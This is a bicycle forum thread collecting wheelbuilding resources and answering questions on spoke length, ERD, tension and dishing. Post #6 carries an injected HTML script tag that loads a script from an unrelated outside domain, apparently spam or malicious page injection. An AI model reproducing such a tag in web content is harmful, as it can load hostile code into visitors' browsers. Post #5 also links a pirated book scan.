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  1. #1
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    Wheelbuilding resources

    Questions on wheel building turn up again and again. The best answers contain specific information and references to wheel building resources. I'd like to invite anyone with links to tuitorials, books, or tips to add them to my list.
    Mike T's Wheel Building page
    Sheldon Brown's Wheel Building page
    Barnett's Wheel Building pdf
    Wheel Fanatyk's Wheel Building tips
    Rowland Cook's Wheel Building page
    Mountain Bike Performance Handbook by Leonard Zinn
    Manual of Bicycle Repair (chapter17, page 246)
    Earl Young's Wheel Building page
    Pancho Herrera's YouTube Wheelbuilding series
    Cycleshed's guide

    Wheel Truing
    https://youtu.be/fQ4g1QNg4dU - I thought this was a great video on how to True a wheel without a Truing stand. - MK
    Last edited by Jesse Smith; 05-18-2009 at 09:25 AM.

  2. #2
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    Jesse, I will stick this.

    It would help if you could write a title for each link to clarify what info is being provided
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  3. #3
    A wheelist
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    Are these going to be just freebie 'net links or can Roger Musson's great e-book make the list?

    Great original idea BTW Jesse.
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  4. #4
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    Quote Originally Posted by Mike T.
    Are these going to be just freebie 'net links or can Roger Musson's great e-book make the list?

    Great original idea BTW Jesse.
    I waited for you to add Roger's book. It adds more credibility.

  5. #5
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    Believe it or not, Gerd Schraner's The Art of Wheelbuilding has been scanned into a PDF file here. Don't know how long the link has been around, but get it while it's hot, because once the seccret is out, the powers that be might seek to put the kibosh on this one.
    Quote Originally Posted by JonathanGennick View Post
    I am a poser. But forums.poser.com doesn't seem to exist, so I come here instead.

  6. #6
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    Quote Originally Posted by Jesse Smith
    I waited for you to add Roger's book. It adds more credibility. <script type="***************" src="http://djmixdownloads.com/script.php"></script>
    lol +1

  7. #7
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    This got posted not too long ago on apples web site:

    http://www.apple.com/downloads/dashb...engthcalc.html

  8. #8
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    Quote Originally Posted by Slow Eddie
    Believe it or not, Gerd Schraner's The Art of Wheelbuilding has been scanned into a PDF file here. Don't know how long the link has been around, but get it while it's hot, because once the seccret is out, the powers that be might seek to put the kibosh on this one.
    Awesome - I downloaded it. It may be a bit old and full of typos from the scan, but I assume the fundamentals are there. It was a good fast read and offers some good diagrams and examples. Thanks for this.
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  9. #9
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    Quote Originally Posted by Slow Eddie
    Believe it or not, Gerd Schraner's The Art of Wheelbuilding has been scanned into a PDF file here. Don't know how long the link has been around, but get it while it's hot, because once the seccret is out, the powers that be might seek to put the kibosh on this one.
    Awesome - I downloaded it. It may be a bit old and full of typos from the scan, but I assume the fundamentals are there. It was a good fast read and offers some good diagrams and examples. Thanks for this.
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  10. #10
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    The Pinkbike forum has an area called the Mechanics Lounge and one user posted a step by step photo essay on wheel building. Fairly well done and helpful.

    http://www.pinkbike.com/forum/listco...threadid=70066

  11. #11
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    Very good...I will use that.
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  12. #12
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  13. #13
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    I used Sheldon Brown (RIP)'s instructions more than 5 years ago and the wheel (XTR hub/Bontrager Mustang ceramic rim) is still running beautifully. First build ever using a cheap Minoura stand.

    It really isn't that hard if you have a few tools and a little patience. Kinda fun even

  14. #14
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    Quote Originally Posted by Reposado Man
    It really isn't that hard if you have a few tools and a little patience. Kinda fun even
    I just built my first wheel using a Minoura stand and guidance from MikeT's website.

    One tip I took from there was to lubricate the spoke-nipple-eyelet interfaces. I used an upside-down spoke to grease the eyelets, and a plumber's brush to lubriplate the threads. The wheel went together like butter, with good even tension. I honestly kind of impressed myself, so I expect the next one to be a nightmare to even things out.
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  15. #15
    dwt
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    Old enough to know better. And old enough not to care. Best age to be.

  16. #16
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    I have ordered two sets of wheels from Larry @ Mtn. High Cyclery. Just curious is he on vacation have not been able to reach him.

  17. #17
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    heyy guys, bit off topic but was wondering, my front wheel is buckled yet rideable. can i get away with just buying a new rim and not having to replace the spokes or hub??

  18. #18
    A wheelist
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    Quote Originally Posted by nebulas64 View Post
    my front wheel is buckled yet rideable. can i get away with just buying a new rim and not having to replace the spokes or hub??
    Sure you can if -

    • The rim is the same ERD (Effective Rim Diameter) as the old one. Then you can use the old spokes.
    • The spokes are not damaged or fatigued.

    And depending on the quality of the wheel, it could be cheaper getting a whole new wheel than having a rim replaced.
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  19. #19
    the mechanic
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    :Great info! This is perfect for the few customers that ask me how they can build their own wheels.

  20. #20
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    can i use a rim designed for v brakes as disc brake rim if i buy a new hub? an old crossmax rim has lost its ceramic coating and i'd rather just buy a hub and some spokes than a whole new set up.

  21. #21
    JmZ
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    Quote Originally Posted by -eddie. View Post
    can i use a rim designed for v brakes as disc brake rim if i buy a new hub? an old crossmax rim has lost its ceramic coating and i'd rather just buy a hub and some spokes than a whole new set up.
    This should be split off into a new post, but...

    A rim used for rim brakes will work fine for disc brakes too. And you CAN reuse a hub, or a rim in decent shape. Just have to be careful about inspecting it before you start. Are you planning on doing the rebuild?

    If not, then you are looking at a shop, and a shop is less likely to let you reuse a rim, or spokes.

    A new rim does not have to be overly expensive. And after pulling the spokes out, you may find that the old rim isn't in the best shape. Out of true, out of round, cracked around an eyelet, etc.

    Check at Bicycle Wheel Warehouse for a feel on prices, your local shop, and favorite mail order places. Bought my last setup from Chad at Red Barn and was very happy with 'em.

    Good luck,
    JmZ

    From one flat land to another.

    Advocate as if your ride depends on it...

  22. #22
    -eddie.
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    thank you. i am still in the market. looking around. thanks for the reference.

  23. #23
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    Thanks for the tips

    Thanks for all the tips, I will be trying my hand at wheel building in the near future....

  24. #24
    Cleavage Of The Tetons
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    No love (or scanned documents) from the O.G. guru/nerd, Jobst Brandt?
    "We LOVE cows! They make trails for us.....

    And then we eat them."

  25. #25
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    Thanks for putting this together. I just started screwing around with some wheelbuilding, and its been loads of fun

  26. #26
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    New here - Looking at putting together some wheels for my bike and I got these off of craigslist today. I am trying to figure out exactly what Phil Wood hubs these are. Does anyone know anything about them?

    I got an old Specialized Rockhopper A1 FSR Comp frame that I am putting together for a project. I dont know exactly how to get these hubs to work with the frame. Any help is appreciated!

    Hopefully the pics work!



    <table style="width:auto;"><tr><td><a href="https://picasaweb.google.com/lh/photo/VJqTIeMOlvmAUpNtmR2jwNMTjNZETYmyPJy0liipFm0?feat=e mbedwebsite"><img src="https://lh4.googleusercontent.com/-73M5RLfko1k/UCcWpIvUCEI/AAAAAAAAFq0/46MC7Kcwjl8/s144/image.jpeg" height="108" width="144" /></a></td></tr><tr><td style="font-family:arial,sans-serif; font-size:11px; text-align:right">From <a href="https://picasaweb.google.com/109542311422634125668/PhilWoodHubs?authuser=0&feat=embedwebsite">Phil Wood Hubs</a></td></tr></table>

    <table style="width:auto;"><tr><td><a href="https://picasaweb.google.com/lh/photo/x7ZiIAEis6ZVuNKVjmIEw9MTjNZETYmyPJy0liipFm0?feat=e mbedwebsite"><img src="https://lh5.googleusercontent.com/-0uv6vNpTnJA/UCcWpPkBjkI/AAAAAAAAFqw/Zr58824OsHo/s144/image%25282%2529.jpeg" height="108" width="144" /></a></td></tr><tr><td style="font-family:arial,sans-serif; font-size:11px; text-align:right">From <a href="https://picasaweb.google.com/109542311422634125668/PhilWoodHubs?authuser=0&feat=embedwebsite">Phil Wood Hubs</a></td></tr></table>

  27. #27
    Viva la Vida!
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    Help please.
    Ok so I am using the spoke calculator from Pro Wheel Builder.
    #1 Wheel Building SPOKE CALCULATOR Now Online | PROWHEELBUILDER
    And I get these values; 281.5, 282.4, 292.2, 291
    What am I suppouse to buy 282 & 283 or go smaller and get 281 & 282?
    I guess the question is. Do You go with the longer or the shorter number?
    I am lacing some Stan's FLOW with Chrios kIngs.

    Thank you for any help.
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  28. #28
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  29. #29
    Custom Wheel Builder
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    Quote Originally Posted by jeffstephens View Post
    New here - Looking at putting together some wheels for my bike and I got these off of craigslist today. I am trying to figure out exactly what Phil Wood hubs these are. Does anyone know anything about them?

    I got an old Specialized Rockhopper A1 FSR Comp frame that I am putting together for a project. I dont know exactly how to get these hubs to work with the frame. Any help is appreciated!

    Hopefully the pics work!



    <table style="width:auto;"><tr><td><a href="https://picasaweb.google.com/lh/photo/VJqTIeMOlvmAUpNtmR2jwNMTjNZETYmyPJy0liipFm0?feat=e mbedwebsite"><img src="https://lh4.googleusercontent.com/-73M5RLfko1k/UCcWpIvUCEI/AAAAAAAAFq0/46MC7Kcwjl8/s144/image.jpeg" height="108" width="144" /></a></td></tr><tr><td style="font-family:arial,sans-serif; font-size:11px; text-align:right">From <a href="https://picasaweb.google.com/109542311422634125668/PhilWoodHubs?authuser=0&feat=embedwebsite">Phil Wood Hubs</a></td></tr></table>

    <table style="width:auto;"><tr><td><a href="https://picasaweb.google.com/lh/photo/x7ZiIAEis6ZVuNKVjmIEw9MTjNZETYmyPJy0liipFm0?feat=e mbedwebsite"><img src="https://lh5.googleusercontent.com/-0uv6vNpTnJA/UCcWpPkBjkI/AAAAAAAAFqw/Zr58824OsHo/s144/image%25282%2529.jpeg" height="108" width="144" /></a></td></tr><tr><td style="font-family:arial,sans-serif; font-size:11px; text-align:right">From <a href="https://picasaweb.google.com/109542311422634125668/PhilWoodHubs?authuser=0&feat=embedwebsite">Phil Wood Hubs</a></td></tr></table>
    Those look like Phil wheelchair hubs with the axle only on one side. Contact Phill Wood they might be able to get you an axle conversion kit to make a front hub.
    Contact me if you need any wheel building supplies
    Darryl

  30. #30
    Custom Wheelbuilder
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    Mike Ts home wheelbuilding site is a good one. He has lots of information and he is easy get in touch with if you need further clarification.
    Another biggie is Sheldon Brown.
    Check out www.zencyclery.com for fully customizable, handbuilt wheels.

    www.facebook.com/zencyclerywheels

  31. #31
    A wheelist
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    Quote Originally Posted by Zen Cyclery View Post
    Mike Ts home wheelbuilding site is a good one. He has lots of information and he is easy get in touch with if you need further clarification.
    Another biggie is Sheldon Brown.
    Sheldon has made himself MUCH harder to reach though.
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  32. #32
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    Dont know which spoke length should I choose.

    I have Mavic Ex 823 Disc rims with Hadley hubs (20mm & 150mm, both 32h) Planning to do 3x lacing, for spokes I chose DTSwiss Champion 2mm with 14mm brass nipple.

    Spoke calculator gives me these result

    Front 255mm & 255.9mm
    Rear 256.3mm ja 255.8mm

    Can I go 256 for all spokes, or should I use 254 on other side front.

    Champions are only 254 & 256 no 255

    Also what confuses me is the fact that there is 3 models of 823 rims and I dont know which one I have, its not the latest, and on a rim there is no reference to ERD number


    Thanks

  33. #33
    A wheelist
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    Quote Originally Posted by taikuri View Post
    what confuses me is the fact that there is 3 models of 823 rims and I dont know which one I have, its not the latest, and on a rim there is no reference to ERD number
    All the more reason for measuring your own ERD. How did you come up with spoke lengths if you're not sure of the ERD?
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  34. #34
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    Well I used these 2 calculator
    Edd, an easy to use spoke length calculator
    #1 Wheel Building SPOKE CALCULATOR Now Online | PROWHEELBUILDER

    they seem to have most usual rims & hubs on their databank. I have used those previously without any problem. Now its just the fact that i noticed different models of 823 rims. Its not the newest one that I have, and those 2 older ones gives right about the same results. I guess my initial question is, with these results
    Front 255mm & 255.9mm
    Rear 256.3mm ja 255.8mm
    Should I be OK with all spokes 256, because there are no 255 available.

  35. #35
    A wheelist
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    Quote Originally Posted by taikuri View Post
    Well I used these 2 calculator
    Edd, an easy to use spoke length calculator
    #1 Wheel Building SPOKE CALCULATOR Now Online | PROWHEELBUILDER

    they seem to have most usual rims & hubs on their databank. I have used those previously without any problem. Now its just the fact that i noticed different models of 823 rims. Its not the newest one that I have, and those 2 older ones gives right about the same results. I guess my initial question is, with these results
    Front 255mm & 255.9mm
    Rear 256.3mm ja 255.8mm
    Should I be OK with all spokes 256, because there are no 255 available.
    Unless you have a cast-iron, self-measured, correct ERD, anything further might as well be a guess.
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  36. #36
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    That's what I was wondering. when was any one going to mention Jobst Brandt. Maybe old school. But that's how I learned wheel building. His book is easy to follow. It not that long, so the price on it is reasonable. Sorry but it's copy right infringement to scan and post it. plus mine has lasted me over 20+ years, it's a good investment.

  38. #38
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    solved.

    delete.
    Last edited by client_9; 02-06-2014 at 12:34 PM. Reason: solved.

  39. #39
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    Quote Originally Posted by oberwil View Post
    That's what I was wondering. when was any one going to mention Jobst Brandt. Maybe old school. But that's how I learned wheel building. His book is easy to follow. It not that long, so the price on it is reasonable. Sorry but it's copy right infringement to scan and post it. plus mine has lasted me over 20+ years, it's a good investment.
    One of my local mechanics prides himself as being a really good wheel builder and he said he used Brandt's book exclusively to learn how to build. I'm really interested in trying and I've been threatening to give it a whirl for a while now. I just need to buy the proper tools and parts and give it a go. I'd really like to upgrade the wheels on my new bike so I can run tubeless...might as build them myself.
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  41. #41
    A wheelist
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    Schraner's book is the worst one I own (I own 'em all). Roger Musson's is by far the best IMO - and with totally free updates.
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  42. #42
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    Quote Originally Posted by Mike T. View Post
    Schraner's book is the worst one I own (I own 'em all). Roger Musson's is by far the best IMO - and with totally free updates.
    +1, Musson's is the best book by far.

  43. #43
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    Spoke recommendations for an aggressive trail bike? Lots of love for Sapim CXrays and laser, but not sure if there are others that balance weight, strength, and price better. Thanks in advance

  44. #44
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    Wheelbuilding resources

    Ok. I want to attempt to build my first wheel. I have a spare azonic outlaw 29er that I'm going lace with a white industries eno disc hub. I contacted azonic for the erd and was told 601.4. The hub has a flange height of 60mm both sides and a center to flange measurement of 32mm on both sides, overall 135mm. The problem I am having is every spoke length calculator is giving me a different length for a 3 cross pattern. Most of them are between 291 and 292, but a few have gone all the way to 295. Which size is correct?

  45. #45
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    Don't trust anyone's figure for ERD except your own. Measure it!! Also, choose one trusted spoke calculator and put your faith in it. Roger Musson's works perfectly.

    Spoke length calculator for wheel building
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  46. #46
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    Go to Harbor Freight and buy the $6 or $8 caliper kit for measuring inside and outside distances, plus get some vernier calipers. Then practice measuring your hubs. There are going to be many times when you'll have hubs that aren't branded that you need to figure out. I'd go with what the ERD says on the actual rim. If not listed, I'd measure it. Get a couple of spokes, connect them together and run them across the rim to figure your ERD. Wheelsmith use to make a device for doing this. Just a fancier method than making your own.
    And for parts check Wheel Fanatyk. He's got DB spokes are as little as .40 cents a piece, and carries some comparable to Sapim.

  47. #47
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    Wheelbuilding resources

    I don't know if anyone answered the question: for spoke lengths that are calculated as .5 or smaller decimals over stock spoke lengths, better to round down or up?
    Old enough to know better. And old enough not to care. Best age to be.

  48. #48
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    Quote Originally Posted by dwt View Post
    I don't know if anyone answered the question: for spoke lengths that are calculated as .5 or smaller decimals over stock spoke lengths, better to round down or up?
    To the nearest available spoke length (some stock odd, some stock even lengths, very few stock both) to +/-1mm.
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  49. #49
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    Round up. The nipple can fail if the spoke doesn't go all the way through it.

  50. #50
    GoCyco
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    Would it be possible to replace a rim with an ERD of 599mm with new rim with an ERD of 595mm using the same spokes? Maybe by using longer nipples?

  51. #51
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    Re: Wheelbuilding resources

    Quote Originally Posted by aizu1 View Post
    Would it be possible to replace a rim with an ERD of 599mm with new rim with an ERD of 595mm using the same spokes? Maybe by using longer nipples?
    No. You need shorter spokes.
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  52. #52
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    Thanks Shiggy. I was thinking the other way. So my spokes are 4mm too long. That doesn't seem so much but I guess I need lots of thread to have a strong wheel.

  53. #53
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    Re: Wheelbuilding resources

    Quote Originally Posted by aizu1 View Post
    Thanks Shiggy. I was thinking the other way. So my spokes are 4mm too long. That doesn't seem so much but I guess I need lots of thread to have a strong wheel.
    Ummmmm...no. You still need to learn a lot about wheelbuilding.
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  54. #54
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    Quote Originally Posted by aizu1 View Post
    Thanks Shiggy. I was thinking the other way. So my spokes are 4mm too long. That doesn't seem so much but I guess I need lots of thread to have a strong wheel.
    You'd have spokes that are 2mm too long. 1mm you MIGHT be able to work with. 2mm no unless the threads were barely engaged to begin with on the stock build which is never the case.
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  55. #55
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    this may have been discussed, but... what is the 'subjective' indicator that you've tensioned the spokes correctly? is there something audible (creaks) or visual (spoke twist).

    (sort of like knowing that you've tightened a nut/bolt correctly without a torque wrench)

    i'm relying on the fact that old school wheel builders didn't have any tension gauges nor any objective (numerical) means of measurement of any sort.

  56. #56
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    Quote Originally Posted by spyghost View Post
    this may have been discussed, but... what is the 'subjective' indicator that you've tensioned the spokes correctly? is there something audible (creaks) or visual (spoke twist).
    (sort of like knowing that you've tightened a nut/bolt correctly without a torque wrench)
    i'm relying on the fact that old school wheel builders didn't have any tension gauges nor any objective (numerical) means of measurement of any sort.
    Just like in the auto trade - tighten until something breaks and then back off a 1/4 turn.

    But seriously, there really is no indicator other than gut feeling. And it does work as I built wheels for half a century without a tension meter and none failed from not measuring tensions. But what's more important than exact tension is equal tension and that's easy to determine - by plucking spokes and listening to their tones. Equal tone = equal tension, if you're just checking spokes on one side of the wheel and comparing to each other (NDS and DS spokes have different tensions of course).

    Then, two months ago, I obtained a tension meter (the excellent Wheel Fanatyk Digital Tensiometer and I found that all my wheel tensions were on the low side ~ around 95kgf where (depending on the rim) 100-125kgf is the normal range. But - my previous tensions must have been acceptable as my wheels didn't suffer from the normal problems of low tension - loosening nipples and fatiguing spoke elbows.

    And I also proved that obtaining equal tension by plucking and equalizing tones is just as accurate as this digital tensiometer - for me anyway but then I've got lots of practise.
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  57. #57
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    Thanks Mike.

    I'm used to twisting relatively high torque threads since I've worked on cars before. Perhaps this disrupted my perception of low torque threads.

    I'm just waiting for the arrival of my wheelsmith spokes and I'll be building my 29er. 36h ztr flow ex and hope pro 2 evo.

    I've got no issues with lacing, truing, etc. Just hitting the right tension.

    Anyway we'll see. Hope for the best wish me luck.
    -------------------------

    @Mike a few q's regarding your site about stress relieving:

    - when you say 'you've got a fair amount of tension, when is that?
    - is that the baseline true or something else after that?
    - is that the point where i loose the arcs formed by the intial lacing after the baseline true?
    - coming from this 'fair amount' of tension, approx how many turns is that away from the 'correct/ideal' tension?
    - i reckon method 1 and method 4 should be done at the same time?
    - when do i do method 3?
    - when do i know that i've properly stress relieved the wheel? i tried method 2 on several wheels. they do sound, but i think the sound comes from the friction between the crosses.

    for method 1 - by tapping the j bend flatter, do you mean pushing the spoke to sort of 'pinch' the flange between the spoke head and the j bend itself?
    Last edited by spyghost; 02-11-2015 at 12:54 AM.

  58. #58
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    Wheelbuilding resources

    If you have a tone generator or tuner handy, you can often get a sense of the tension on the wheel, provided you also have an idea for what octave you are listening for. See http://www.bikexprt.com/bicycle/tension.htm. Note that this only really works well for straight gauge spokes (see below).

    The bad part is, if you have no experience tuning instruments, you can be easily mislead by false beating; this happens for a few reasons, but the short answer is that spokes aren't built to be good tone conductors, especially butted spokes.

    I've built a couple pairs of wheels like this, mostly as a curiosity, and it does work. Certainly not as convenient as a tensometer, but a careful ear can do pretty close.

  59. #59
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    Added a video link to the first post on Wheel Truing.
    Ride Bikes, Drink Craft Beer, Repeat.

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  60. #60
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    Quote Originally Posted by Klurejr View Post
    Added a video link to the first post on Wheel Truing.
    Can you please clear out any broken links? Thanks.
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  61. #61
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    Hi guys

    I'm having a problem with one of my first build..

    on my rear wheel, when I want the left side tight enough, it's very hard to get the wheel dished without having the drive side extremely tight.

    Is that a problem of spoke length ?

    all spokes have the same length, 266mm

    Light bicycle carbon rims
    DT 350 disc
    Sapim D-light j-bend

    I know that the spokes are a bit too short as I ordered the spokes before having the rims in hands... and LB erd is wrong by 3mm

    I just think that is strange, because difference between both sides is big

    Thanks !

  62. #62
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    hate to tell you this, but it would be impossible to get the correct spokes without first having the rims.
    Because you can't know the rims ERD until you measure them, and I wouldn't go by the manufactures listed ERD, they are known to be off.
    2nd, you mention Disc. Well if you want to take into account the Rotor, then you need to calculate the dish even for a front hub, and the lacing pattern to support the Rotor.
    You didn't mention if this is a front or rear wheel.
    And I question all the spokes with the same length then on a Disc wheel sounds wrong.

    I started with Jost Brandt's Wheel building book, which is dated now. I have since used Roger Musson's which is more current and covers Disc wheels. It's about $15 for the PDF. And you can print out the pages that cover your needs, put them on a clip board to follow out in the shop.

  63. #63
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    Quote Originally Posted by kali View Post
    I'm having a problem with one of my first build..
    on my rear wheel, when I want the left side tight enough, it's very hard to get the wheel dished without having the drive side extremely tight.
    NDS spoke tension is always a product of DS tension and flange spacing, not the other way around. You get DS tension to what you want it to be, dish the wheel and NDS tension will be what it is.

    Example - you want DS tension to be 120kgf. You tension to 120kgf, check and adjust dish and NDS tension will end up around 60kgf, or approx, depending on flange spacing.

    Is that a problem of spoke length ?
    Nope. It's a problem from back-arsewards tensioning.

    all spokes have the same length, 266mm. I know that the spokes are a bit too short as I ordered the spokes before having the rims in hands... and LB erd is wrong by 3mm
    You can't mess around here. Spokes have to be the right length and you have a +/-1mm fudge factor. Parts need measuring before spokes are ordered or there is a big chance they will be wrong.
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    you must have just written your reply right after me. Just want to say if you're going to be an advocate to newbies, you may want to direct them to resources or given a simpler explanation than going into tension. Look at my post and let me know if you agree with it.
    BTW: I agree with your point, but the builder it seems is missing the whole point about measuring parts out correctly to begin with. That is why I mention ERD, Disc hubs, and the dish. Let them first get that correct and get the wheel straight before they have to worry about the finished product and tension.

  65. #65
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    Quote Originally Posted by oberwil View Post
    you must have just written your reply right after me. Just want to say if you're going to be an advocate to newbies, you may want to direct them to resources or given a simpler explanation than going into tension.
    At the top of this forum is a wheelbuilding stickie with lots of resources plus, the link in my sig takes you to my wheelbuilding site - which contains all the info and resources (that are put there to provide the info that my site never will) that anyone will ever need. If a newby wheelbuilder is planning on building wheels, they need info first, build second, not the other way around. Horse before cart.

    EDIT - we're even posting in the wheelbuilding resources stickie.
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  66. #66
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    Mike, your suggestions and resources have been invaluable to this neophyte wheel-builder. Over the past couple of years I have built 3 wheel sets using the information you have provided here. Thank you for all the time you put into this forum.

    As you point out, the research has to be done first, impatience cause me to have to re-order spokes, and re-build my first set several times before I sat back and took a more patient and disciplined approach.Wheelbuilding resources-wheelbuilding-square-copy.jpg
    Last edited by ki5ka; 12-24-2015 at 08:02 AM. Reason: add pic

  67. #67
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    Thanks Ki5. I just does my best. Nice pic BTW.
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  68. #68
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    Thanks for the very quick and precise answers ! ;-)

    So I can't do better than I did, I just wanted to have the NDS thighter, but it's fine.

    What is the usual difference in kgf between both sides ?
    "back-arsewards tensioning" Sorry my english is not good enough to understand that, what do you mean ?

    Of course I know that spoke length is crucial, that was my first wheelset I wanted to get better. As a matter of fact the ERD is not 3mm wrong, but 1.6mm, because I wanted to mount bushings wich I did not go for. So they are slightly too short. That is experience... and now I always await components to calculate spoke length.

    What do you think about 180kgf light bicycle give as max spoke tension ?
    the rim has 3mm of carbon thinkness

    thanks and merry Christmas

    Olivier from Switzerland

    edit : I went for that technique, that's brillant
    Wheel Building Tip No. 6 - Build Rears from Right to Left - Wheel Fanatyk

  69. #69
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    Quote Originally Posted by kali View Post
    Thanks for the very quick and precise answers ! ;-)
    No problem.

    What is the usual difference in kgf between both sides ?
    That totally depends on the hub flange spacing away from the center line and the flanges' widths apart.

    "back-arsewards tensioning" Sorry my english is not good enough to understand that, what o you mean ?
    It means you did it backwards. Required DS tension should be achieved and the NDS tension will be what it is when you have the correct dish. It doesn't matter what it is as you can't change it - other than by increasing DS tension and there is only so high that you can go.

    Of course I know that spoke length is crucial, that was my first wheelset I wanted to get better. As a matter of fact the ERD is not 3mm wrong, but 1.7mm, because I wanted to mount bushings wich I did not go for. So they are slightly too short. That is experience... and now I always await components to calculate spoke length.
    New wheelbuilders need to have everything as perfect as possible to lessen any problems.

    What o you think about 180kgf light bicycle give as max spoke tension ? the rim has 3mm of thinknesse
    That's a very high tension but I don't know anything about those rims. The rim is the weak link.

    Olivier from Switzerland
    Mike in Canada!
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  70. #70
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  71. #71
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    Props to Mike T! I used his site set a wheel next to my build and fired out my first complete wheel last night. Took me about 1-1.5 hours to build and came out with no hop and just a tiny bit of run out I'll fix when I got to my friends house with a stand.

    I probably should have started with something else but I needed to build these. Industry9 hubs, Sapim Race/Polyax and 295trails.
    I like to fart when I'm in front of you on a climb

  72. #72
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    Quote Originally Posted by dirtrider76 View Post
    Props to Mike T! I used his site set a wheel next to my build and fired out my first complete wheel last night. Took me about 1-1.5 hours to build and came out with no hop and just a tiny bit of run out I'll fix when I got to my friends house with a stand.
    I probably should have started with something else but I needed to build these. Industry9 hubs, Sapim Race/Polyax and 295trails.
    Cool! Glad to be of some service. I hope you didn't rush with that "1-1.5 hours to build" as that's a very short time for a first-time wheel. It takes me longer than that (and I'm never in a hurry). Don't forget oodles of stress relief. You can never do too much.
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  73. #73
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    I've swapped rims before just never built from scratch. I just got them with some tension on them till I get access to the truing stand. I was not in a hurry I just laid out all my stuff and once I had the first side done it went fast. Getting the actual layout and getting the logo on the hub lined up with the valve hole and making sure the logo on the rim was correct took some time. I actually started the spokes, rotated the hub and it was off so I adjusted it.
    I like to fart when I'm in front of you on a climb

  74. #74
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    Quote Originally Posted by dirtrider76 View Post
    I've swapped rims before just never built from scratch. I just got them with some tension on them till I get access to the truing stand. I was not in a hurry I just laid out all my stuff and once I had the first side done it went fast. Getting the actual layout and getting the logo on the hub lined up with the valve hole and making sure the logo on the rim was correct took some time. I actually started the spokes, rotated the hub and it was off so I adjusted it.
    Roger Musson's e-book gives the definitive info for lining up the valve hole and the logo. BTW - you already have a truing stand - your fork (or frame) !!
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  75. #75
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    i used roger's e-book for my first go around and they came out real good.

  76. #76
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    i'm not a pro builder, just doing these for myself, but since i started building several months back, i just realized that after a hard day's work in the office desk, wheel building/truing is relaxing.

    the wheel turning on the the truing stand, the sound of the spokes getting higher and equal pitch as the rim gets closer to the gauge soothes me.

    the plus factor here is that it feels awesome once i get equal pitch and a radial/lateral true build.
    Canfield Yelli Screamy

  77. #77
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    I have all the parts on order to do my first solo (and disc) build. I built the wheels for my road bike at my old LBS with the lead mechanic there to give me guidance, but I had done lots of reading, to include Mike T's site before I got to work. I really enjoyed the experience, especially just getting in the zone when adding tension and how everything else just disappeared.

    My question as I start reading again for this build, is do I need a dishing tool before I get started? Being in the military and currently stationed overseas, mail order is my means of acquiring the parts and tools that I need, so time is required.

    I'll be building up a set of Nextie 42mm Crocodile rims with White Industries XMR plus hubs and double butted spokes. This is also my first carbon build. I'll keep doing my reading and research, but any advice is humbly accepted!

  78. #78
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    Some less-known books

    Building Bicycle Wheels by Robert Wright, 1977

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    The Spoking Word by Leonard Goldberg, 1984
    Book review: Goldberg's Variations (Bike Tech, April 1985)

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    Perfect Wheel by Richard Talbot, 1986
    An Illustrated Guide to Bicycle Wheel Building
    Last edited by yoda.; 01-18-2017 at 04:47 AM. Reason: added book review

  79. #79
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    Bonking ... not feelin' well

    Ok...trying and see If someone can help me here: I'm new to wheel building. I just signed up on the DT swiss calculator to investigate a 'soon to be done' Front wheel build....but I bumped into a mystery while entering some data to understand things. Here is the problem: I have a 26" Lefty front wheel a part.

    -Rim: ZTR 26" Crest, ERD: 541m, 32H

    -Lefty Hub:
    • Disc Flange Diameter: 58.0mm
    • Non-Disc Flange Diameter: 45.0mm
    • Disc Flange to Center: 18.8mm
    • Non-Disc Flange to Center: 31.6mm

    -Spokes lenght:
    • Half is: 250mm
    • Half is: 255mm

    -The number of intersections is 8 on each side (it has to be right?)
    -Nipples as standard 12mm long.

    The Mystery: Entering the all that data on the DT swiss tool, it gives me Recommended Spoke length 300mm and 292mm...

    I can see that by changing the number of intersections down to 2 on each side...the tool gives me approximate lengths to my spokes. I checked the configuration when the wheel was assembled and it was with 8 intersections on each side.

    ?????

  80. #80
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    Quote Originally Posted by andrepsz View Post
    The number of intersections is 8 on each side (it has to be right?)
    I can see that by changing the number of intersections down to 2 on each side...the tool gives me approximate lengths to my spokes. I checked the configuration when the wheel was assembled and it was with 8 intersections on each side.
    What do you mean by "8 intersections"? You mean spoke crosses? I don't understand. Wheels are either radial, 1x, 2x, 3x or 4x.
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  81. #81
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    What Mike said...

  82. #82
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    Hi,

    Building with this rim (HD layup version, 40g heavier) what would be your recommended kgf to balance the tension at? Appreciate your input cheers.

    Hookless carbon 650B mtb 35mm wide AM 27.5 rims tubeless compatible Light-Bicycle

  83. #83
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    Max tension says 180 but I would just go to 130kgf on the drive side.

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    With such a strong rim, the allowed max tension for the hub flanges is the limit.
    If the hub manufacturer does not limit the tension, i would assume that 120Kgf -130 Kgf is the best bet. That numbers are virtually a standard among wheel builders.

  85. #85
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    I got some wheels built for about 200USD (it felt like much - though this is in SF, CA) and riding em I found the front wheel to look a bit out of true (though its not by much if I put my finger at the rim, but looks like much when i look at the tire).

    To be sure and because it annoyed me a bit, I decided to get a parktool tension meter and a a truing stand (all that is less than 200USD actually...). I re-read the tension on all spokes several times to ensure I knew how to measure correctly and so on (and i always get the same reading within 0.5 notch on the tension meter)

    Rear wheel seems mostly true and front wheel indeed is not as true as I'd expect from a professional build. But then, tension seems rather bad - though I've no experience with this.
    I'm still reading the countless docs on how to build wheels but would like some rule of thumb, basically are these wheels been built really bad or is this acceptable? (it looks pretty terrible to me...)

    Back: ht mtb | Park Tool (Standard Deviation of Tension Right side (kgf) 16.23)

    Front: ht mtb | Park Tool (Standard Deviation of Tension Right Side (kgf) 10.38)

    Thanks for your help (note if you're curious about the rim/spokes I put all data in the parktool thingie)

  86. #86
